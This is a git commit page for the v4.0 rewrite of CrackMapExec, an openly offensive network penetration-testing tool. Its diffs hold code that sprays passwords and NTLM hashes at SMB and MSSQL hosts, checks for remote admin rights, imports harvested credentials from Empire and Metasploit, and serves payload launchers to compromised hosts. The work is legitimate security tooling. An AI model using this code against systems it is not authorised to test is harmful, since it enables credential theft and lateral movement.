Initial commit for v4.0

Just fyi for anyone reading this, it's not even close to being
finished.

The amount of changes are pretty insane, this commit is to serve as a
refrence point for myself.

Highlights for v4.0:
- The whole codebase has been re-written from scratch
- Codebase has been cut around 2/4
- Protocols are now modular! In theory we could use CME for everything
- Module chaining has been removed for now, still trying to figure out a
more elegant solution
- Workspaces have implemented in cmedb
- The smb protocol's database schema has been changed to support storing users,
groups and computers with their respective memberships and relations.
- I'm in the process of re-writing most of the modules, will re-add them
once i've finished
main
byt3bl33d3r 2016-12-15 00:28:00 -07:00
parent b1e8322704
commit 9fefd167b0
86 changed files with 2355 additions and 5466 deletions

0
.github/ISSUE_TEMPLATE.md vendored Normal file → Executable file
View File

0
.gitignore vendored Normal file → Executable file
View File

0
.gitmodules vendored Normal file → Executable file
View File

0
LICENSE Normal file → Executable file
View File

0
MANIFEST.in Normal file → Executable file
View File

0
Makefile Normal file → Executable file
View File

0
README.md Normal file → Executable file
View File

0
cme/__init__.py Normal file → Executable file
View File

77
cme/cli.py Executable file
View File

@ -0,0 +1,77 @@
import argparse
import sys
from argparse import RawTextHelpFormatter
from cme.loaders.protocol_loader import protocol_loader
from cme.helpers.logger import highlight
def gen_cli_args():
VERSION = '4.0.0dev'
CODENAME = '\'Smidge\''
p_loader = protocol_loader()
protocols = p_loader.get_protocols()
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
A swiss army knife for pentesting networks
Forged by @byt3bl33d3r using the powah of dank memes
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
{}: {}
{}: {}
""".format(highlight('Version', 'red'),
highlight(VERSION),
highlight('Codename', 'red'),
highlight(CODENAME)),
formatter_class=RawTextHelpFormatter,
version='{} - {}'.format(VERSION, CODENAME),
epilog="I enjoy the simple pleasures of Daffy Dook...")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=30, type=int, help='Max timeout in seconds of each thread (default: 30)')
parser.add_argument("--darrell", action='store_true', help='Give Darrell a hand')
parser.add_argument("--verbose", action='store_true', help="Enable verbose output")
subparsers = parser.add_subparsers(title='Protocols', dest='protocol', description='Available Protocols')
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="Password(s) or file(s) containing passwords")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts')
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username')
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host')
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
module_parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
module_parser.add_argument('--options', dest='module_options', action='store_true', help='Display module options')
module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
module_parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
for protocol in protocols.keys():
protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
return args

View File

@ -1,111 +0,0 @@
import BaseHTTPServer
import threading
import ssl
import os
import sys
import logging
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from cme.helpers import highlight
from cme.logger import CMEAdapter
from cme.cmeserver import CMEServer
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
module = self.server.host_chain[self.client_address[0]][0]
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))
def do_GET(self):
current_module = self.server.host_chain[self.client_address[0]][0]
if hasattr(current_module, 'on_request'):
module_list = self.server.host_chain[self.client_address[0]][:]
module_list.reverse()
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
if len(module_list) > 2:
for module in module_list:
if module == current_module or module == module_list[0]:
continue
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
final_launcher = module.launcher(self.server.context, final_launcher)
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
launcher = current_module.launcher(self.server.context, final_launcher)
payload = current_module.payload(self.server.context, final_launcher)
current_module.on_request(self.server.context, self, launcher, payload)
if not hasattr(current_module, 'on_response'):
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def do_POST(self):
self.server.log.debug(self.server.host_chain)
module = self.server.host_chain[self.client_address[0]][0]
if hasattr(module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
module.on_response(self.server.context, self)
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass
def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
if len(self.server.host_chain[self.client_address[0]]) == 1:
try:
self.server.hosts.remove(self.client_address[0])
del self.server.host_chain[self.client_address[0]]
except ValueError:
pass
class CMEChainServer(CMEServer):
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
try:
threading.Thread.__init__(self)
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
self.server.hosts = []
self.server.host_chain = {}
self.server.chain_list = chain_list
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
logging.debug('CME chain server type: ' + server_type)
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))
sys.exit(1)
def track_host(self, host_ip):
self.server.hosts.append(host_ip)
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]

369
cme/cmedb.py Normal file → Executable file
View File

@ -1,36 +1,22 @@
#!/usr/bin/env python2
import requests
from requests import ConnectionError
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import cmd
import sqlite3
import sys
import os
import argparse
from time import sleep
from ConfigParser import ConfigParser
from cme.msfrpc import Msfrpc
from cme.database import CMEDatabase
from cme.helpers import validate_ntlm
from cme.loaders.protocol_loader import protocol_loader
class CMEDatabaseNavigator(cmd.Cmd):
def __init__(self, db_path, config_path):
def __init__(self, config_path):
cmd.Cmd.__init__(self)
self.prompt = 'cmedb > '
try:
# set the database connection to autocommit w/ isolation level
conn = sqlite3.connect(db_path, check_same_thread=False)
conn.text_factory = str
conn.isolation_level = None
self.db = CMEDatabase(conn)
except Exception as e:
print "[-] Could not connect to database: {}".format(e)
sys.exit(1)
self.workspace_dir = os.path.expanduser('~/.cme/workspaces')
self.workspace = 'default'
self.db = None
self.conn = None
self.prompt = 'cmedb ({}) > '.format(self.workspace)
self.p_loader = protocol_loader()
self.protocols = self.p_loader.get_protocols()
try:
self.config = ConfigParser()
@ -39,332 +25,45 @@ class CMEDatabaseNavigator(cmd.Cmd):
print "[-] Error reading cme.conf: {}".format(e)
sys.exit(1)
def display_creds(self, creds):
def open_proto_db(self, db_path):
#Set the database connection to autocommit w/ isolation level
self.conn = sqlite3.connect(db_path, check_same_thread=False)
self.conn.text_factory = str
self.conn.isolation_level = None
print "\nCredentials:\n"
print " CredID Admin On CredType Domain UserName Password"
print " ------ -------- -------- ------ -------- --------"
def do_proto(self, proto):
if not proto: return
for cred in creds:
# (id, credtype, domain, username, password, host, notes, sid)
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
proto_db_path = os.path.join(self.workspace_dir, self.workspace, proto + '.db')
if os.path.exists(proto_db_path):
self.open_proto_db(proto_db_path)
protocol_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath'])
links = self.db.get_links(credID=credID)
#try:
proto_menu = getattr(protocol_object, 'navigator')(self)
proto_menu.cmdloop()
#except:
# pass
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<13}'.format(str(len(links)) + ' Host(s)'),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
def do_workspace(self, line):
if not line: return
print ""
def display_hosts(self, hosts):
print "\nHosts:\n"
print " HostID Admins IP Hostname Domain OS"
print " ------ ------ -- -------- ------ --"
for host in hosts:
# (id, ip, hostname, domain, os)
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
links = self.db.get_links(hostID=hostID)
print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<15}'.format(str(len(links)) + ' Cred(s)'),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
if os.path.exists(os.path.join(self.workspace_dir, line)):
self.workspace = line
self.prompt = 'cmedb ({}) >'.format(line)
def do_exit(self, line):
sys.exit(0)
def do_import(self, line):
if not line:
return
if line == 'empire':
headers = {'Content-Type': 'application/json'}
#Pull the username and password from the config file
payload = {'username': self.config.get('Empire', 'username'),
'password': self.config.get('Empire', 'password')}
#Pull the host and port from the config file
base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port'))
try:
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
if r.status_code == 200:
token = r.json()['token']
url_params = {'token': token}
r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False)
creds = r.json()
for cred in creds['creds']:
if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'):
continue
self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password'])
print "[+] Empire credential import successful"
else:
print "[-] Error authenticating to Empire's RESTful API server!"
except ConnectionError as e:
print "[-] Unable to connect to Empire's RESTful API server: {}".format(e)
elif line == 'metasploit':
msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'),
'port': self.config.get('Metasploit', 'rpc_port')})
try:
msf.login('msf', self.config.get('Metasploit', 'password'))
except MsfAuthError:
print "[-] Error authenticating to Metasploit's MSGRPC server!"
return
console_id = str(msf.call('console.create')['id'])
msf.call('console.write', [console_id, 'creds\n'])
sleep(2)
creds = msf.call('console.read', [console_id])
for entry in creds['data'].split('\n'):
cred = entry.split()
try:
host = cred[0]
port = cred[2]
proto = cred[3]
username = cred[4]
password = cred[5]
cred_type = cred[6]
if proto == '(smb)' and cred_type == 'Password':
self.db.add_credential('plaintext', '', username, password)
except IndexError:
continue
msf.call('console.destroy', [console_id])
print "[+] Metasploit credential import successful"
def complete_import(self, text, line, begidx, endidx):
"Tab-complete 'import' commands."
commands = ["empire", "metasploit"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
def do_hosts(self, line):
filterTerm = line.strip()
if filterTerm == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filterTerm=filterTerm)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
print "\nHost(s):\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
hostIDList = []
for host in hosts:
hostID = host[0]
hostIDList.append(hostID)
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
print "\nCredential(s) with Admin Access:\n"
print " CredID CredType Domain UserName Password"
print " ------ -------- ------ -------- --------"
for hostID in hostIDList:
links = self.db.get_links(hostID=hostID)
for link in links:
linkID, credID, hostID = link
creds = self.db.get_credentials(filterTerm=credID)
for cred in creds:
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print u" {}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8')))
print ""
def do_creds(self, line):
filterTerm = line.strip()
if filterTerm == "":
creds = self.db.get_credentials()
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "add":
# add format: "domain username password <notes> <credType> <sid>
args = filterTerm.split()[1:]
if len(args) == 3:
domain, username, password = args
if validate_ntlm(password):
self.db.add_credential("hash", domain, username, password)
else:
self.db.add_credential("plaintext", domain, username, password)
else:
print "[!] Format is 'add domain username password"
return
elif filterTerm.split()[0].lower() == "remove":
args = filterTerm.split()[1:]
if len(args) != 1 :
print "[!] Format is 'remove <credID>'"
return
else:
self.db.remove_credentials(args)
self.db.remove_links(credIDs=args)
elif filterTerm.split()[0].lower() == "plaintext":
creds = self.db.get_credentials(credtype="plaintext")
self.display_creds(creds)
elif filterTerm.split()[0].lower() == "hash":
creds = self.db.get_credentials(credtype="hash")
self.display_creds(creds)
else:
creds = self.db.get_credentials(filterTerm=filterTerm)
print "\nCredential(s):\n"
print " CredID CredType Pillaged From HostID Domain UserName Password"
print " ------ -------- -------------------- ------ -------- --------"
credIDList = []
for cred in creds:
credID = cred[0]
credIDList.append(credID)
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
pillaged_from = cred[5]
print u" {}{}{}{}{}{}".format('{:<8}'.format(credID),
'{:<12}'.format(credType),
'{:<22}'.format(pillaged_from),
u'{:<17}'.format(domain.decode('utf-8')),
u'{:<21}'.format(username.decode('utf-8')),
u'{:<17}'.format(password.decode('utf-8'))
)
print ""
print "\nAdmin Access to Host(s):\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
for credID in credIDList:
links = self.db.get_links(credID=credID)
for link in links:
linkID, credID, hostID = link
hosts = self.db.get_hosts(hostID)
for host in hosts:
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{:<8}'.format(hostID),
'{:<17}'.format(ip),
u'{:<25}'.format(hostname.decode('utf-8')),
u'{:<17}'.format(domain.decode('utf-8')),
'{:<17}'.format(os))
print ""
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = [ "add", "remove", "hash", "plaintext"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)]
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--db-path", type=str, default='~/.cme/cme.db', help="Path to CME database (default: ~/.cme/cme.db)")
parser.add_argument("--config-path", type=str, default='~/.cme/cme.conf', help='Path to the CME configuration file (default: ~/.cme/cme.conf)')
args = parser.parse_args()
db_path = os.path.expanduser(args.db_path)
config_path = os.path.expanduser(args.config_path)
if not os.path.exists(db_path):
print '[-] Path to database invalid!'
sys.exit(1)
config_path = os.path.expanduser('~/.cme/cme.conf')
if not os.path.exists(config_path):
print "[-] Path to config file invalid!"
print "[-] Unable to find config file"
sys.exit(1)
try:
cmedbnav = CMEDatabaseNavigator(db_path, config_path)
cmedbnav = CMEDatabaseNavigator(config_path)
cmedbnav.cmdloop()
except KeyboardInterrupt:
pass
pass

538
cme/connection.py Normal file → Executable file
View File

@ -1,33 +1,8 @@
import logging
import socket
from logging import getLogger
from traceback import format_exc
from StringIO import StringIO
from functools import wraps
from gevent.coros import BoundedSemaphore
from impacket.smbconnection import SMBConnection, SessionError
from impacket.nmb import NetBIOSError
from impacket import tds
from cme.mssql import *
from impacket.dcerpc.v5.rpcrt import DCERPCException
from cme.helpers import highlight, create_ps_command
from functools import wraps
from cme.logger import CMEAdapter
from cme.context import Context
from cme.enum.shares import ShareEnum
from cme.enum.uac import UAC
from cme.enum.rpcquery import RPCQUERY
from cme.enum.passpol import PassPolDump
from cme.enum.users import SAMRDump
from cme.enum.wmiquery import WMIQUERY
from cme.enum.lookupsid import LSALookupSid
from cme.credentials.secretsdump import DumpSecrets
from cme.credentials.wdigest import WDIGEST
from cme.spider.smbspider import SMBSpider
from cme.execmethods.mssqlexec import MSSQLEXEC
from cme.execmethods.wmiexec import WMIEXEC
from cme.execmethods.smbexec import SMBEXEC
from cme.execmethods.atexec import TSCH_EXEC
from impacket.dcerpc.v5 import transport, scmr
sem = BoundedSemaphore(1)
global_failed_logins = 0
@ -39,340 +14,105 @@ def requires_admin(func):
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
class Connection:
class connection:
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
def __init__(self, args, db, host):
self.args = args
self.db = db
self.host = host
self.module = module
self.chain_list = chain_list
self.cmeserver = cmeserver
self.share_name = share_name
self.conn = None
self.admin_privs = False
self.hostname = None
self.domain = None
self.server_os = None
self.logger = None
self.password = None
self.username = None
self.hash = None
self.admin_privs = False
self.failed_logins = 0
try:
smb = SMBConnection(self.host, self.host, None, self.args.smb_port)
self.local_ip = None
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
self.proto_flow()
#Get the remote ip address (in case the target is a hostname)
remote_ip = smb.getRemoteHost()
@staticmethod
def proto_args(std_parser, module_parser):
return
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
def proto_logger(self):
pass
self.host = remote_ip
self.domain = smb.getServerDomain()
self.hostname = smb.getServerName()
self.server_os = smb.getServerOS()
def enum_host_info(self):
return
if not self.domain:
self.domain = self.hostname
def print_host_info(info):
return
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
def create_conn_obj(self):
return
self.logger = CMEAdapter(getLogger('CME'), {
'host': self.host,
'port': self.args.smb_port,
'hostname': u'{}'.format(self.hostname)
})
def check_if_admin(self):
return
self.logger.info(u"{} (name:{}) (domain:{})".format(
self.server_os,
self.hostname.decode('utf-8'),
self.domain.decode('utf-8')
))
def plaintext_login(self, domain, username, password):
return
try:
'''
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
smb.logoff()
except:
pass
def hash_login(self, domain, username, ntlm_hash):
return
if self.args.mssql:
instances = None
self.logger.extra['port'] = self.args.mssql_port
def proto_flow(self):
if self.create_conn_obj():
self.enum_host_info()
self.proto_logger()
self.print_host_info()
if self.login():
if hasattr(self.args, 'module') and self.args.module:
mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
mssql.connect()
module_logger = CMEAdapter(extra={
'module': self.module.name.upper(),
'host': self.host,
'port': self.args.smb_port,
'hostname': self.hostname
})
instances = mssql.getInstances(10)
if len(instances) > 0:
self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
self.logger.highlight("Instance {}".format(i))
for key in instance.keys():
self.logger.highlight(key + ":" + instance[key])
try:
mssql.disconnect()
except:
pass
if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
if self.args.mssql and (instances is not None and len(instances) > 0):
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
self.conn.connect()
elif not args.mssql:
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
except socket.error:
pass
if self.conn:
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.login()
if (self.password is not None or self.hash is not None) and self.username is not None:
if self.module or self.chain_list:
if self.chain_list:
module = self.chain_list[0]['object']
module_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.host,
'port': self.args.smb_port,
'hostname': self.hostname
})
context = Context(self.db, module_logger, self.args)
context.localip = local_ip
context.localip = self.local_ip
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip
if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'):
self.server.context.localip = self.local_ip
if self.module:
if hasattr(self.module, 'on_login'):
self.module.on_login(context, self)
launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
if self.admin_privs and hasattr(self.module, 'on_admin_login'):
self.module.on_admin_login(context, self)
if hasattr(module, 'on_login'):
module.on_login(context, self, launcher, payload)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.chain_list:
module_list = self.chain_list[:]
module_list.reverse()
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
if len(module_list) > 2:
for m in module_list:
if m['object'] == module or m['object'] == module_list[0]['object']:
continue
final_launcher = m['object'].launcher(context, final_launcher)
if module == module_list[0]['object']:
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
launcher = module.launcher(context, final_launcher)
payload = module.payload(context, final_launcher)
if hasattr(module, 'on_login'):
module.on_login(context, self)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)
elif self.module is None and self.chain_list is None:
else:
for k, v in vars(self.args).iteritems():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None:
getattr(self, k)()
def inc_failed_login(self, username):
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins.keys():
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins
global user_failed_logins
if global_failed_logins == self.args.gfail_limit: return True
if self.failed_logins == self.args.fail_limit: return True
if username in user_failed_logins.keys():
if self.args.ufail_limit == user_failed_logins[username]: return True
return False
def check_if_admin(self):
if self.args.mssql:
try:
#I'm pretty sure there has to be a better way of doing this.
#Currently we are just searching for our user in the sysadmin group
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
query_output = self.conn.printRows()
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
self.admin_privs = True
except:
pass
elif not self.args.mssql:
'''
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
If this succeeds, the user context has administrator access to the target.
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
'''
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.args.smb_port)
lmhash = ''
nthash = ''
if self.hash:
if self.hash.find(':') != -1:
lmhash, nthash = self.hash.split(':')
else:
nthash = self.hash
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
lpMachineName = '{}\x00'.format(self.host)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
self.admin_privs = True
except DCERPCException:
pass
def plaintext_login(self, domain, username, password):
try:
if self.args.mssql:
res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, password, domain)
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE':
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins.keys():
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
return False
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
if self.args.mssql:
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, '', domain, lmhash, nthash)
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
error,
'({})'.format(desc) if self.args.verbose else ''))
if error == 'STATUS_LOGON_FAILURE':
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins.keys():
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
return False
def login(self):
for cred_id in self.args.cred_id:
with sem:
@ -383,15 +123,15 @@ class Connection:
if self.args.local_auth:
domain = self.domain
elif self.args.domain:
elif self.args.domain:
domain = self.args.domain
if credtype == 'hash' and not self.over_fail_limit(username):
if self.hash_login(domain, username, password): return
if self.hash_login(domain, username, password): return True
elif credtype == 'plaintext' and not self.over_fail_limit(username):
if self.plaintext_login(domain, username, password): return
if self.plaintext_login(domain, username, password): return True
except IndexError:
self.logger.error("Invalid database credential ID!")
@ -403,12 +143,12 @@ class Connection:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if not self.over_fail_limit(usr.strip()):
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
if self.hash_login(self.domain, usr.strip(), ntlm_hash): return True
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if not self.over_fail_limit(usr.strip()):
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return True
ntlm_hash.seek(0)
elif self.args.password:
@ -416,12 +156,12 @@ class Connection:
for password in self.args.password:
if type(password) is not file:
if not self.over_fail_limit(usr.strip()):
if self.plaintext_login(self.domain, usr.strip(), password): return
if self.plaintext_login(self.domain, usr.strip(), password): return True
elif type(password) is file:
for f_pass in password:
if not self.over_fail_limit(usr.strip()):
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return True
password.seek(0)
elif type(user) is not file:
@ -430,12 +170,12 @@ class Connection:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if not self.over_fail_limit(user):
if self.hash_login(self.domain, user, ntlm_hash): return
if self.hash_login(self.domain, user, ntlm_hash): return True
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if not self.over_fail_limit(user):
if self.hash_login(self.domain, user, f_hash.strip()): return
if self.hash_login(self.domain, user, f_hash.strip()): return True
ntlm_hash.seek(0)
elif self.args.password:
@ -443,142 +183,10 @@ class Connection:
for password in self.args.password:
if type(password) is not file:
if not self.over_fail_limit(user):
if self.plaintext_login(self.domain, user, password): return
if self.plaintext_login(self.domain, user, password): return True
elif type(password) is file:
for f_pass in password:
if not self.over_fail_limit(user):
if self.plaintext_login(self.domain, user, f_pass.strip()): return
if self.plaintext_login(self.domain, user, f_pass.strip()): return True
password.seek(0)
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
default_methods = ['wmiexec', 'atexec', 'smbexec']
if not payload and self.args.execute:
